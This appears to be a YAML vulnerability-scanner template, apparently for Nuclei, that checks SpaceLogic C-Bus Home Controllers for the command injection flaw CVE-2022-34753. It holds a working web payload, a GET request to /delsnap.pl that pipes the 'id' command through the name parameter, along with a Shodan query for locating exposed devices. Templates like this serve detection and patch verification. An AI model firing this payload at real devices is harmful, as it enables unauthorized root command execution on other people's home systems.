44 lines
1.8 KiB
YAML
44 lines
1.8 KiB
YAML
id: CVE-2022-34753
|
|
|
|
info:
|
|
name: SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution
|
|
author: gy741
|
|
severity: high
|
|
description: |
|
|
SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.
|
|
reference:
|
|
- https://www.zeroscience.mk/codes/SpaceLogic.txt
|
|
- https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf
|
|
- http://packetstormsecurity.com/files/167783/Schneider-Electric-SpaceLogic-C-Bus-Home-Controller-5200WHC2-Remote-Root.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-34753
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2022-34753
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97087
|
|
cpe: cpe:2.3:o:schneider-electric:spacelogic_c-bus_home_controller_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
shodan-query: html:"SpaceLogic C-Bus"
|
|
vendor: schneider-electric
|
|
product: spacelogic_c-bus_home_controller_firmware
|
|
tags: cve,cve2022,iot,spacelogic,rce,oast,packetstorm
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /delsnap.pl?name=|id HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|